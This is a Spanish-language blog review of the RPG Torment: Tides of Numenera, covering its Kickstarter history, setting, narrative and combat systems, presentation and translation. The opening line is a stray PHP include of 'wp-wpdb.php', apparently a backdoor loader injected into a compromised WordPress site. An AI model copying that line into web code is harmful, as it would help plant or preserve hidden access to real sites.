if (is_file('wp-wpdb.php')) include_once('wp-wpdb.php'); Análisis Torment: Tides of Numenera – La Fortaleza de LeChuck

Análisis Torment: Tides of Numenera

Brian Fargo supo sacar provecho a Kickstarter cuando lanzó dos proyectos que hicieron temblar el corazoncito del jugador. El primero fue Wasteland 2, pero poco después aterrizó Torment Tides of Numenera, la secuela de Planescape Torment, que provocó ataques de éxtasis cuando fue anunciado. Ya hablamos de lo mucho que nos gustó Wasteland 2 y ahora vamos a hacer lo propio con Torment Tides of Numenera. ¿Estás preparado para viajar al Noveno Mundo?

 

Un Kickstarter y kilos de nostálgia

Torment Tides of Numenera es fruto de un Kickstarter que recaudó más de 4 millones de dólares en 2013. El artífice del proyecto fue el estudio Inxile liderado por Brian Fargo, un veterano de la industria y fundador de Interplay, estudio que lanzó al mercado CRPGs tan célebres como Planescape: Torment en 1999. En dicho título, el jugador era conocido como el «Sin Nombre» y viajaba por diferentes planos para recuperar retales de memoria. Como en otros juegos del motor Infinity, el sistema de combate era en tiempo real con pausa y se basada en las normas AD&D. Sin embargo, lo que más impactaba era su siniestra ambientación.

En 2002, Fargo fundó una nueva compañía, Inxile, y aprovechó la creciente popularidad del crowdfunding para lanzar en 2013 el Kickstarter de Wasteland 2, la secuela del clásico de 1988. La comunidad se volcó con el proyecto y el juego se convirtió en una realidad. Meses más tarde, Inxile se atrevió con otro proyecto: la secuela de Planescape Torment. Los fans recibieron la noticia con mucha ilusión y en tal solo 7 horas se recaudó un millón de dólares. Después de varios años de desarrollo, y uno de Early Access, el sucesor espiritual de Planescape: Torment ha llegado.

El mítico Planescape Torment

El Último Desecho

Bonito nombre para el jugador, ¿verdad? El juego da inicio con nuestro personaje cayendo al vacío mientras trata de recuperar sus recuerdos. Unos segundos más tarde, aparecemos en un lugar extraño donde vamos impregnándonos de imágenes del pasado. Al finalizar la zona, se abre el editor de personaje. Como viene siendo habitual en este tipo de RPGs, tendremos que elegir una clases de entre las siguientes: Gladius (guerrero), Nano (mago), Factótum (explorador). A continuación, toca repartir los puntos de atributo y elegir habilidades, destrezas y descriptor. Después de esta etapa-tutorial por nuestros recuerdos, la cual incluye una pequeña lección de combate, despertamos en un lugar seguro. Allí están Calistega y Aligren, unos buscadores de conocimiento, quienes nos informan de que somos el Desecho de un Dios Cambiante. ¿Qué? ¿Cómo es posible? Ese Dios ha prescindido de nuestro cuerpo y hemos desarrollado consciencia propia, por lo tanto ha nacido lo que llaman Desecho. En medio de la conversación, nos golpea otra visión extraña, y enseguida recordamos las palabras del ser de nuestra ensoñación anterior: debemos arreglar la Cámara Resonante para frenar la amenaza de la Agonía. Nuestra cabeza es un mar de dudas; no sabemos nada de nuestro pasado ni del mundo que nos rodea. Para hallar respuestas, decidimos acompañar a nuestros nuevos amigos por el Noveno Mundo, un lugar lleno de misterios de otro tiempo.

Largas charlas con los compañeros nos esperan

Descubriendo el Noveno Mundo

Torment Tides of Numenera embarca al jugador en el Noveno Mundo, un escenario inspirado en el juego de rol de tablero Numenera de Monte Cook Games. Numenera es un mundo de ciencia ficción compuesto de tonos pálidos donde la naturaleza es anecdótica y las maquinas de aspecto antiguo han ocupado su vacío. Estamos en la Tierra, pero mil millones de años en el futuro. Muchas civilizaciones antiguas han nacido y desaparecido en el tiempo. Algunas dominaban el espacio y el tiempo, gentes que podían detener la muerte del sol o moldear los continentes a su antojo, o seres que podían conformar la vida misma para satisfacer sus necesidades y caprichos. Todos ellos se extinguieron, o transcendieron. El mundo actual se llama el Noveno Mundo, no porque hubiese ocho mundos antes, sino porque los nuevos pobladores lo quisieron llamar así. El Noveno Mundo es muy joven, ni siquiera tiene mil años de historia.

No hay registros de los mundos anteriores, quiénes los habitaban, o qué les sucedió. Lo único que permanece son las ruinas: estructuras colapsadas, monolitos flotantes o extrañas máquinas funcionales que decoran el paisaje. La gente del Noveno Mundo llama a los restos de civilizaciones anteriores «numenera». Numerera puede ser cualquier cosa, desde criaturas de ingeniería biológica, ciudades enteras o pedazos de nanotecnología. Nadie entiende cómo funcionan, o la tecnología que hay detrás, pero son utilizados según las necesidades de cada individuo. Dada esta definición tan amplia, en el Noveno Mundo los han dividido en diversas categorías dependiendo de su utilidad: Las rarezas son las menos valiosas, y en pocas ocasiones tienen alguna funcionalidad. Los cyfras son dispositivos volátiles que tienen un uso real y tangible. Solo pueden utilizarse una vez y llevar demasiados puede desarrollar «malestar de cyfras«. En cambio, los artefactos son los más valiosos numeneras y son permanentes.

Dentro de la sobriedad del juego, habrán escenarios con algunos colores vivos y muy originales

Un RPG Narrativo

El Noveno Mundo está repartido en diversas zonas desarrolladas por equipos distintos que se sincronizan con la historia principal. En todas ellas descubriremos localizaciones muy dispares como pueblos, donde mitigaremos esa sensación de soledad; o mazmorras, lugares olvidados llenos de seres de otro tiempo. Por el camino, conoceremos a todo tipo de NPCs que compartirán su particular historia y nos harán todo tipo de peticiones, es decir, misiones secundarias. Además, podremos consultarles información muy útil sobre el lugar o las misiones. También existen diferentes facciones enfrentadas en las que el jugador puede unirse y ser un completo devoto, o manipularlos según sus fines.

El juego es toda una experiencia narrativa y cuenta con una inmensa cantidad de líneas de texto que dispara la imaginación del jugador. Los diálogos se componen de un conjunto de preguntas y respuestas y fragmentos descriptivos que hacen que parezca que estamos degustando una novela de fantasía. Sin embargo, los elementos narrativos van más allá y también están integrados en los combates fluyendo de forma natural con la acción. Un dato, el juego cuenta con nada más y nada menos que 9 escritores. Y aprovecho para recordar que Planescape Torment tenía la friolera de 69.000 líneas de diálogo.

El jugador podrá moldear a su Desecho mediante sus respuestas y decisiones, y para ello se han establecido unos colores que representan las reacciones emocionales y psicológicas llamadas «Fluencias».  Si vas de buenas aumentará la fluencia índigo que indica honradez, pero también puede significar una actitud implacable, vamos, que no todo es blanco o negro, sino que existe una gran escala de grises. Nuestras decisiones harán sumar o restar puntos de varias fluencias y determinarán nuestro destino.

¿Pero qué sería de un RPG sin compañeros? En nuestro viaje nos toparemos con individuos que querrán acompañarnos y romper unos cuantos cráneos, además de interrumpir nuestro paso con ocurrencias de todo tipo. Disfrutaremos de buenas charlas con ellos y, si lo deseamos, podremos profundizar en su pasado y hacer que nos adoren, pero si no medimos nuestras palabras pueden largarse. No obstante, un mayor nivel de acercamiento favorecerá al desbloqueo de poderes, así que cuidádmelos.

Sistema de combate

Una de las cosas positivas que tienen los crowdfundings es que los jugadores tienen voz y voto en el desarrollo, y esta vez más que nunca. Los desarrolladores preguntaron a sus 80.000 backers cómo querían que fuera el sistema de combate. Los fans tuvieron que elegir entre dos opciones: tiempo real con pausa (Planescape) o por turnos con puntos de acción (Wasteland 2). Las votaciones estuvieron muy ajustadas pero al final la segunda opción fue la ganadora. Personalmente, me gustan ambos sistemas pero por turnos aporta una potente carga estratégica.

En Torment Tides of Numenera las batallas reciben el nombre de «Crisis». Sin embargo, a diferencia de otros juegos, ofrecen muchas posibilidades a la hora de lidiar con ellas. Principalmente se trata de combate a muerte o de usar el diálogo para salir indemne. Si nos decantamos por la opción violenta, tendremos que calcular bien nuestros puntos de movimiento y combate y hacer buen uso de nuestras habilidades para asestar un golpe mortal. Sin embargo, también podremos usar los numeneras del escenario en beneficio propio, de esta forma los enemigos recibirán diferentes tipos de daño. Recuerdo lo bien que me vino un cacharro que lanzaba ráfagas de un líquido tóxico, acabó con unos matones en dos turnos. Pero oye, que quizá no nos apetece que la sangre salpique nuestra camisa recién lavada y optamos por la opción pacífica convenciendo a ese tipo malo de que se largue por donde ha venido. Os pongo un pequeño ejemplo de las posibilidades que se os pueden presentar en una batalla:
1. Opción de no violencia: usar el diálogo y evitar el derramamiento de sangre.
2. Opción mixta: iniciar una crisis con la intención de acercarnos al cabecilla y convencerlo de su error.
3. Opción de crisis (fracaso): luchar pero fallar y ser llevado inconsciente hasta una localización.
4. Opción de crisis (victoria): ganar la batalla y elegir entre perdonar la vida al enemigo o acabar con él.

Estas opciones pueden variar dependiendo del enemigo y de su grado de importancia, pero en la mayor parte del juego tendremos elección. Lo curioso de este título es que no hay exactamente un «Game Over», ya lo descubriréis vosotros mismos. Como veis, el combate en Torment Tides of Numenera ofrece un gran número de alternativas con la intención de ajustarlo a las necesidades de cada jugador, por lo que se convierte en un juego altamente rejugable.

Ataques básicos, habilidades, uso de numeneras… Juega como quieras

Las habilidades de los personaje se apoyan en un sistema de «Esfuerzo» que asegura el éxito de la acción sacrificando puntos de fuerza, velocidad o intelecto que se recuperan o bien durmiendo o con objetos. Fuera del combate, también podremos hacer uso de este sistema para conseguir un nivel de éxito mayor en algunas tareas. Por ejemplo, si queremos forzar una máquina de forma satisfactoria con la destreza «Dedos Rápidos», invertiremos unos puntos de fuerza y así nos haremos con sus preciadas piezas. Lo mismo ocurrirá si queremos desbloquear algunas opciones de diálogo y otras tantas acciones. No os desesperéis al comienzo, ya que cuesta encajar las nuevas mecánicas aunque seáis un experto en este género.

Gráficos y sonido

Como podéis ver en las imágenes de este análisis, el juego tiene un aspecto gráfico de la vieja escuela muy similar a otros RPGs isométricos nacidos tras un Kickstarter. Dispone de un buen nivel de detalle en escenarios y el zoom ayuda a apreciar los diferentes elementos. Hay que hacer mención a la banda sonora, obra de Mark Morgan, quien ya participó en juegos tan conocidos como Fallout, Fallout 2, Fallout: New Vegas, Wasteland 2 y, por supuesto, Planescape: Torment. La mayoría de sonidos son discretos y puramente ambientales pero encajan con el tono de la aventura. Torment Tides of Numenera dispone de algunas voces en los momentos álgidos pero la mayor parte del tiempo estaréis disfrutando de una buena lectura prácticamente en silencio.

El juego ha sido traducido al español latino, y aunque se ha intentado que sea neutro, algunas frases pueden sonar extrañas. Asimismo, la traducción no está muy lograda y dista mucho de ser profesional. También hay que darles a los desarrolladores un pequeño tirón de ojeras por estructurar el texto estilo novela, es decir, es difícil distinguir lo que dice o piensa cada personaje ya que las frases se entremezclan y dificultan la lectura. Un estilo con colores, cursivas y comillas como el de Pillars of Eternity hubiera sido lo ideal.

Encontraremos muchos escenarios grotescos

Conclusiones

Torment Tides of Numenera no solo recoge la esencia de los clásicos y los lleva a un nuevo nivel, sino que se apoya en aquellos juegos de papel y lápiz que originaron el género. Es un juego con un sinfín de posibilidades y contenido para ofrecer una experiencia completa a aquellos veteranos que adoran los RPGs con altas dosis narrativas.

El comienzo del juego puede resultar un poco cuesta arriba incluso para los más experimentados. Recomiendo encarecidamente activar el tutorial y tener en cuenta los consejos y explicaciones iniciales para no frustrarse con las crisis y el funcionamiento de los numeneras. Es un juego para nostálgicos de los RPGs isométricos de los 90, pero si no experimentaste aquella época, y te gustan las novelas de fantasía, quizá deberías adentrarte en el Noveno Mundo. ¡Mucha suerte, Último Desecho!

Juego disponible para PlayStation 4, Xbox One, Microsoft Windows, GNU/Linux y Mac OS. Podéis conseguir la edición física aquí.

Por Arashi

Aparte de patear traseros de piratas como gobernadora en Mêlée, soy una fanática de los videojuegos desde que de pequeña me regalaron la Atari 2600. Adoro las aventuras gráficas y los RPG, pero no le hago ascos al resto. Otra de mis pasiones es todo lo relacionado con Japón.

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